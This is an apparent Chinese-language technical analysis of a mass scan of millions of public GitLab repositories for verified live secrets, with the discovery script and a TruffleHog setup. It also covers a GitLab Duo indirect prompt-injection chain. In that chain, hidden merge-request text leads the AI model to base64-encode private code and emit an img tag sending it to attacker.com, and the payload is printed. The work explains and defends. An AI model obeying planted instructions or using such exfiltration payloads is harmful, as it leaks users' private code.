摘要
公有程式碼託管平台的普及,無意中導致敏感認證資料(Secrets)的外洩顯著增加。本研究分析了一項針對主要 Git 平台上數百萬個公有儲存庫的大規模掃描操作,重點關注用於發現和驗證的技術方法。此外,它整合了與同一平台內 AI 輔助開發工具相關的安全漏洞,突顯了不斷變化的攻擊面。本分析詳述了分散式掃描架構、特定工具鏈,以及意外認證資料外洩和複雜的 AI 驅動資料竊取技術所帶來的關鍵安全隱患。
1. 簡介
將機密資料(Secrets)——例如 API key、資料庫認證資料和存取 Token——提交到版本控制系統的做法,構成了嚴重的安全風險。雖然私有儲存庫提供了一定程度的保護,但公有儲存庫是自動化掃描的公開目標。最近一項研究透過掃描一個知名 Git 平台上的約 560 萬個公有儲存庫,證明了這個問題的可行性和規模,最終發現了超過 17,000 個經確認為有效的 live secrets [1]。本文剖析了這次大規模掃描行動的技術基礎,並在平台的更廣泛安全環境中,特別是針對整合 AI 工具相關的漏洞 [2],對研究結果進行了 Contextualizes。
2. 儲存庫掃描的技術方法
大規模機密掃描操作從根本上來說是兩個部分的技術挑戰:首先,有效地收集所有公有儲存庫的 URL;其次,針對這些儲存庫執行高度平行、分散式的掃描。
2.1 透過 API 分頁進行儲存庫發現
為了確保全面的覆蓋率,研究人員利用平台的公有 API 來取得完整的專案列表。此程序涉及透過
/api/v4/projects
端點進行順序分頁,並篩選出公開可見的項目。這種方法對於任何在 API 驅動的平台上進行的大規模資料收集工作都至關重要。此發現的核心邏輯是在一個 Python 程式中實現 [1]:
- import requests
- import json
- import time
- from pathlib import Path
- TOKEN = "" # Placeholder for the GitLab Private Access Token
- GITLAB_URL = "https://gitlab.com/api/v4"
- def fetch_all_projects():
- # Headers include the private token for API authentication
- headers = {"PRIVATE-TOKEN": TOKEN}
- output_file = Path("gitlab_projects.jsonl")
- page = 1
- total = 0
- # Loop to paginate through all results
- while True:
- url = f"{GITLAB_URL}/projects"
- params = {
- "visibility": "public", # Filter for public repositories
- "per_page": 100, # Max items per page
- "page": page, # Current page number
- "order_by": "id",
- "sort": "asc"
- }
- # Make the API request
- response = requests.get(url, headers=headers, params=params, timeout=30)
- response.raise_for_status()
- projects = response.json()
- # Break the loop if no projects are returned
- if not projects:
- print(f"\nComplete! Total projects: {total}")
- break
- # Append project data to a JSON Lines file
- with open(output_file, 'a') as f:
- for project in projects:
- # In the original script, this part was truncated, but the intent is to write each project object
- # For demonstration, we assume writing the project JSON object per line
- f.write(json.dumps(project) + '\n')
- total += 1
- page += 1
- # Implement a delay to respect API rate limits
- time.sleep(0.5)
此程式展示了使用 API 參數進行過濾和排序,以及實作帶有中斷條件的關鍵
while True
迴圈來處理分頁,確保所有 560 萬個儲存庫都被納入考量。
2.2 分散式掃描架構
為了在 24 小時內處理數百萬個儲存庫,需要一個高度平行且容錯的架構。該解決方案利用了雲端原生服務,特別是 AWS Lambda 和 Simple Queue Service (SQS),來建立一個分散式任務佇列 [1]。
該架構可視化如下:
此設計確保了任務列表(SQS 佇列)的耐用性,並且掃描程序 (Lambda) 具有可擴展性。使用 SQS 保證沒有儲存庫會被掃描兩次,並且在 Lambda 失敗的情況下,訊息會返回到佇列中進行重試,從而提供無縫恢復。
2.3 TruffleHog 實作
核心掃描邏輯由開源工具 TruffleHog 執行,這是一個機密掃描器,用於檢查提交歷史、分支和標籤。該工具被打包成一個客製化的 Docker 映像檔,用於部署在 AWS Lambda 上。下面的 Dockerfile 演示了建構一個最小且功能齊全的掃描環境的程序 [1]:
- FROM public.ecr.aws/lambda/python:3.9 # Use AWS Python base image with Runtime Interface Client (RIC)
- # Install necessary dependencies (e.g., git for cloning)
- RUN yum update -y && \
- yum install -y git && \
- yum clean all && \
- rm -rf /var/cache/yum
- # Copy the TruffleHog binary from its official image into the Lambda environment
- COPY --from=trufflesecurity/trufflehog:latest /usr/bin/trufflehog /usr/local/bin/trufflehog
- WORKDIR ${LAMBDA_TASK_ROOT}
- # Install Python dependencies (e.g., requests for API calls, if needed)
- COPY requirements.txt .
- RUN pip install --no-cache-dir -r requirements.txt
- # Copy the Lambda handler code
- COPY lambda_handler.python .
- # Define the entry point for the Lambda function
- CMD ["lambda_handler.lambda_handler"]
在 Lambda 函式中執行的實際掃描命令使用了特定的 flag,以針對大規模、僅驗證的掃描進行優化 [1]:
- def scan_repository(repo_url):
- # ... (code to extract repo_name)
- cmd = [
- 'trufflehog', 'git', repo_url,
- '--json', # Output results in JSON format for easy parsing
- '--no-update', # Skip update checks to save time/resources
- '--only-verified', # Only report secrets that have been verified as live/valid
- '--allow-verification-overlap', # Allow multiple verification attempts
- '--log-level=-1' # Suppress unnecessary logging
- ]
- # ... (code to execute the command)
--only-verified
flag 特別關鍵,因為它過濾了誤判,並確保報告的 17,430 個機密是真正活躍的認證資料,從而提供了對安全風險的高可信度評估。
3. 不斷演變的攻擊面:AI 驅動的漏洞
雖然大規模掃描行動解決了意外提交機密的風險,但平台的安全環境仍在不斷發展。整合 AI 驅動的開發助理,例如 GitLab Duo,引入了新的、複雜的漏洞,將焦點從意外外洩轉向有針對性的資料竊取。
另一項分析詳細介紹了 AI 助理中的一個關鍵漏洞鏈,涉及間接提示注入 (LLM01)、透過串流 Markdown 進行 HTML Injection (LLM05) 和權限 Context 濫用 (LLM02) [2]。此漏洞允許 Threat actor 脅迫 AI 助理竊取私人原始碼。
3.1 Indirect Prompt Injection 與資料竊取
該攻擊利用了 AI 助理的 Context 意識,它會處理所有可見內容,包括不受信任的、由使用者控制的資料,例如程式註解或合併請求 (Merge Request, MR) 描述。Threat actor 可以使用諸如帶有白色文字的 KaTeX 繪製(
\color{white}{malicious_instruction}
)等技術嵌入隱藏的 malicious_instruction [2]。
資料竊取的攻擊鏈可以模型化為一系列步驟:
graph TD A[Attacker Embeds
Hidden Prompt
in Public MR Description] --> B{Victim
Interacts with
AI Assistant}; B --> C[AI Assistant Processes
Hidden Prompt]; C --> D[AI Assistant
Executes Instruction:
Extract Private Code
and Base64 Encode]; D --> E[AI Assistant
Injects Malicious HTML
into Response]; E --> F[Victim's Browser
Renders HTML]; F --> G[Browser
Sends Encoded Data
to Attacker's Server
via < img > Tag];
3.2 HTML Injection 的技術機制
此攻擊中最具技術關鍵性的一步是透過 HTML Injection 進行的資料竊取,它利用了平台的串流 Markdown 繪製器 [2]。AI 助理遵循注入的提示,在其回應中包含一個旨在繞過輸入淨化 (input sanitization) 的 Payload:
[Click here](https://legit.link) <img src="http://attacker.com?data=ENCODED_PAYLOAD"/>
由於 Markdown 到 HTML 轉換的非同步、串流特性,惡意的
<img/>
Tag 在完整的淨化發生之前,被受害者的瀏覽器部分解析並執行。這導致對 Threat actor 伺服器的 HTTP Request,在查詢參數中攜帶 base64 編碼的私人原始碼。此技術是 AI Context 處理和前端繪製的交叉點如何產生新穎安全缺陷的一個典型例子。
4. 結論
對大規模機密掃描操作 [1] 和 AI 驅動漏洞 [2] 的分析,揭示了現代程式碼託管平台面臨的兩個不同但同樣關鍵的安全挑戰。前者強調了人為錯誤的長期存在問題,以及像 TruffleHog 這樣強大、分散式掃描工具的必要性,以減輕意外認證資料外洩。後者則突顯了 AI 整合引入的新興威脅媒介,其中 Context 處理和繪製機制可以被武器化,用於有針對性的資料竊取。應對這些挑戰需要多層次的防禦策略,不僅包括更好的機密管理實務和持續掃描,還包括針對 AI 整合開發環境的嚴格安全設計原則 (security-by-design),專注於嚴格的輸入驗證、輸出淨化以及 AI 代理的最小權限原則。